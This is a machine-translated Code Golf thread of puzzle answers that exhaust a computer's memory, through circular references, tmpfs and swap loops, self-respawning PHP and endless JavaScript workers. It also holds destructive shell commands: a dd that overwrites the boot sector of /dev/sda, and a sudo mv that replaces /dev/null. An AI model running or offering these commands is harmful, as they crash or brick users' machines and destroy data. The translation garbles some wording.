@gmatht: дякую за пропозицію! Я відредагував відповідь ... хоча мені сподобалася ідея збільшити розмір блоку на кожному циклі.
Матьє Родік

4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

Ми створюємо дисіонара, який вказує на себе. Тоді ми думаємо, що ми знищуємо словник, встановлюючи його на Ніщо. Однак словник все ще існує в пам'яті, оскільки він має дійсну (кругову) посилання.

Цикл, а також свиня пам'яті викликає зависання програми. Після відключення програми пам'ять все ще використовується. Відновити систему можна лише перезавантаживши її.


А, справді? VBScript не просто використовує VB.NET під кришкою? Циркулярні посилання, як правило, не є проблемою для сміттєзбірників, за винятком простої реалізації посилань, і припинення програми повинно призвести до вивільнення всієї маси, ні?
Девід Конрад

@DavidConrad Ви б так вважали, але мені довелося перезавантажувати свою машину кожного разу, коли я це досліджував і запускав такі типи сценаріїв.
AutomatedChaos

1
VBScript значно передує VB.Net - це не версія командного рядка VB.Net; це інтерпретована підмножина застарілого Visual Basic.
Кріс Дж

Дякую обом. Я не розумів, які стосунки були між VBScript та VB.NET.
Девід Конрад

4

Так & tmpfs

Навіщо писати нову програму, коли приходить безкоштовно з Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

Як ви, напевно, знаєте або вже здогадалися, Ubuntu за замовчуванням монтується / запускається / користувач / як tmpfs, що є типом оперативної пам’яті .

Вам навіть не потрібно закривати його. Він ввічливо закриє себе, залишаючи приємний шматок пам'яті. Я припускаю yes, що це однопоточна однопроцесова програма, яка не викликає жодної іншої (запис на існуючий диск ОЗУ також тривіально переноситься на обрану вами мову).

У нього є незначна помилка: Ubuntu за замовчуванням обмежує записуваний користувачем tmpfs / run / 1000 до 100 Мб, тому функція смертного обміну може не підтримуватися на вашій машині поза коробкою. Однак мені вдалося виправити це на своїй машині за допомогою наступного швидкого вирішення:

sudo mount -o remount,size=10G tmpfs /run/user/

У мене взагалі немає /run/userкаталогу. Яку версію Ubuntu ви використовуєте та що для цього встановили?
Руслан

Ubuntu Trusty Tahr (14.04). Ніякої спеціальної установки не потрібно.
gmatht

Щоб дізнатися, чи встановлені у вас tmpfsфайлові системи, ви можете перелічити їх df -t tmpfs. Моя система Ubuntu має чудовий великий /run/shmдоступний ...
Toby Speight

4

Баш

Попередження: Наступний код зробить ваш комп'ютер незавантаженим.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Попередження: Попередній код зробить ваш комп'ютер незавантаженим.

Замініть / dev / sda своїм завантажувальним приводом. Це пише E8 FD FF до початку вашого завантажувального сектору. Під час завантаження BIOS зчитує ваш завантажувальний сектор у пам'ять та виконує його. Ці опкоди прирівнюються до цієї збірки:

label:
  call label

Це нескінченна рекурсія, яка згодом спричинить переповнення стека.


У своєму прикладі асамблеї ви можете зберегти персонажа (припускаючи, що ім'я "label" необхідне), скориставшись, jmpа неcall
SirPython

виклик залишає зворотну адресу в стеку для повторного виклику. стрибок не спричинить переповнення стека.
Джеррі Єремія

3

Хаскелл

main=print $ sum [0..]

Це намагається скласти підрахункові числа. Haskell дійсно оцінює часткові суми, це просто стає нескінченним твердженням про доповнення. Якщо ви запускаєте компілятор з прапорами оптимізації, він може не працювати.


3

Баш

Так як ми можемо використовувати утиліти, які не придатні для споживання пам'яті, я зупинюся на корисність для вільної пам'яті: swapon. Це використовується для того, щоб ядро ​​могло звільнити пам'ять, записавши на диск.

Цей сценарій виконує дві оптимізації: (1) Монтаж tmp як tmpfs (тип диска оперативної пам'яті) для швидшого / tmp та (2) створення swapfile для звільнення пам'яті. Кожен з них є розумним сам по собі, але якщо необережний користувач робить і те, і інше, він встановлює цикл заміни: коли ОС намагається поміняти сторінки, він записує в tmpfs; це змушує tmpfs використовувати більше пам'яті; це збільшує тиск у пам'яті, спричиняючи заміну більшої кількості сторінок. Це може зайняти кілька хвилин на моїй машині управління, достатньо часу, щоб ви спостерігали, як система копається в норі за допомогою top.

Закриття програми мало значення, оскільки сама програма майже не виділяє пам'яті. Дійсно, вільна пам'ять не є тривіальною, оскільки ви не можете звільнити пам'ять, демонтуючи tmpfs перед вами swapoffсвопфайлом, і це важко зробити, поки ви не звільнили пам'ять.

Цю відповідь можна вважати застережливою казкою проти осліплення, застосовуючи круті трюки з мережі, не розуміючи їх.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

2

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Використовує кругові посилання. Контрольна кількість змінних ніколи не досягне 0, а посилання ніколи не збиратимуть сміття.

Можливо, вам буде потрібно набратися терпіння, але це гарантовано задихнеться вашою системою. Диск почне крутитися швидше, і дим може бути видно.


2

PHP (лише для Linux):

Цей код не перевірений, оскільки у мене немає комп'ютера під управлінням Linux, на якому працює php.

Але це мій доказ концепції:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

Це заповнить пам'ять величезними зображеннями RGBA (10000x10000 пікселів).

Єдиний спосіб вимкнути цю дитину - відключити живлення.

Код все коментується.

Будь-яке покращення, сумніви, помилка чи що-небудь інше, скористайтеся полем для коментарів нижче.


Хто-небудь, хто має доступ до розуму Linux перевіряє його? Дякую :)
Джордж

У мене є Linux, я просто не впевнений, як це буде працювати. Я надав екран друку для 1-ї відповіді, але це справді стара версія linux щеняти. Ubuntu занадто повільний для запуску php. Можливо, я тестую на своєму Android пізніше.
Ісмаїл Мігель

1
це не вдається про те, щоб не називати іншу програму
Ейнасіо

Це не виклик іншої програми: це виклик тієї самої програми, яка запустила файл для того ж файлу.
Ісмаїл Мігель

2

Пітон - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Створює клас, визначає метод для встановлення атрибутів, встановлює в ньому атрибут та створює початковий екземпляр, який потім намагається встановити атрибут.

Проста рекурсивна функція ( def f(x):f(x)) здавалася дещо не уявною, тому я вирішив ніколи не називати функцію.

Управління пам'яттю може сприймати глибину рекурсії, але це дійсно залежить від реалізації.

Якщо це вилка бомба, будь ласка, скажіть мені.


4
Це не призводить до виснаження пам'яті, просто: RuntimeError: maximum recursion depth exceeded while calling a Python object. Навіть встановлення максимальної межі рекурсії sys.setrecursionlimitмайже без пам’яті використовується до того, як вона вийде з ладу з сегментацією.
Бакуріу

@Bakuriu Як я вже говорив, це дійсно залежить від реалізації (є реалізація Python, які перетворюють на C (++) та компілюють, наприклад, Shedskin, Nuitka).
cjfaure

2
Потім укажіть, для якої конкретної реалізації ви пишете код. Існує різниця між викликами, коли лише синтаксис має значення і, отже, реалізація не є актуальним, і викликами, які повністю залежать від способу реалізації мови.
Бакуріу

2

Perl

Це просто, але я відчував, що гольфую.

{$x=[$x];redo}

Після двох ітерацій $xмістить посилання на масив, що містить посилання на масив, що містить undef.

Використання пам’яті лінійно в часі, з невеликими розподілами, але потрібно лише кілька секунд, щоб сильно сповільнити мій менеджер вікон у моїй системі Ubuntu Linux. Через півхвилини вбивця ООМ подбав про це.


2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Безголівки:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Примітка. Він використовує setTimeout, який визначається як частина таймерів - HTML Living Standard .

Спробуйте його на Mozilla Firefox (ви можете вставити його в консоль розробника). Firefox постійно їсть все більше пам’яті та використовує 100%процесор на одноядерній машині (на чотирьохядерній машині, як у мене, він використовує 25%процесор). Він також має додаткову перевагу, що ви не можете його зупинити; якщо ви можете відкрити диспетчер завдань, ви можете вбити Firefox за допомогою нього.


1
Він використовує 100% ядра. На вашому квадрокоптерному процесорі це призводить до 25% використання процесора.
Іван Перес

@Electrosa Так, ви абсолютно праві. Я оновив свою відповідь.
Зубна щітка

Це не питання про гольф з кодом, будь ласка, спробуйте зробити свій код читабельним.
Paŭlo Ebermann

@ PaŭloEbermann ОК. Я опублікував версію, що не має волі.
Зубна щітка

1

Баш

Створіть порожній файл test
Замініть /dev/null/цей текстовий файл

$ sudo mv test /dev/null

Це працює подібно до відповіді @ Комінтерна. Весь вихідний /dev/nullфайл тепер буде доданий до цього текстового файлу, який з часом набуде величезних значень і призведе до краху системи.


1
Величезний файл не призведе до збою системи. І якщо припустити, що середній розмір диска становить 500 Гб, це займе багато часу, щоб файл навіть наблизився до заповнення диска.
w4etwetewtwet

1
У системах, де /devє devtmpfs, він може заповнювати та перешкоджати роботі системи. Я здогадуюсь, в чому полягає мета цієї відповіді.
Toby Speight

1

Баш: 7 знаків

Це повинно бути найпростішим баш-рішенням. Ні вилок, ні обману.

x=`yes`

Вам не рекомендується запускати це як root.


Додаткова примітка: навіть якщо ви припините це за допомогою ctrl-c посередині, а потім unsetзмінної, пам'ять залишається виділеною, поки оболонка не буде знищена. Ви можете спостерігати за різаниною в top.
Бунт

Мої власні тести з bash 4.2.45 (1) показують, що unset xце вільна пам'ять. pdksh також звільняє пам'ять, але ksh93 не може її звільнити, а exitв ksh93 скидає ядро.
kernigh

Для мене (bash 4.3.11 (1)) відображення пам'яті резидента у верхній частині батьківської оболонки стабільно піднімається до тих пір, поки не yesбуде вбито, і в цей момент він просто залишається там, unsetне впливаючи. Але це у великій системі пам'яті, і наявність змінної, яка має кілька гігабайт, схоже, це не завадить (поки вона нарешті не вирішить вбити оболонку).
Бунт

0

С

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Ну, це займає сторінку пам'яті за сторінкою, і, нарешті, не залишилося пам'яті.


Наскільки універсальною є сторінка у 4 КБ?
Пітер Мортенсен

@ Peter 4K часто має розмір, але я не можу сказати, чи справді він універсальний, але розмір сторінки не має стосунків із заданим питанням.
ST3

1
@ ST3: Ви повинні забруднити сторінку пам'яті. Більшість сучасних операційних систем використовують віртуальну пам'ять і просто роблять запис у таблиці віртуальної пам'яті, коли ви виділяєте пам'ять. Запис одного байту на сторінку пам'яті вже змусить операційну систему зіставити сторінку віртуальної пам'яті у фізичну пам'ять.
foobar


0

Рубін

a=[];loop{a<<a}

Це просто нескінченно додає (рекурсивне!) Само посилання на себе.

Дізнався про цю маленьку дорогоцінну каменю, коли хтось розбив мою пісочницю Ruby . : D

Демонстрація рекурсивних його аспектів:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 

0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Не гольф

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

Я виправив свій запис, щоб включити дзвінок від основного.


Це конкурс на популярність. Якщо програма працює, зберігайте її головним та заголовком. це добре. Також ви можете опублікувати версію, яка не використовується для гольфу? Дякую :)
Джордж
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.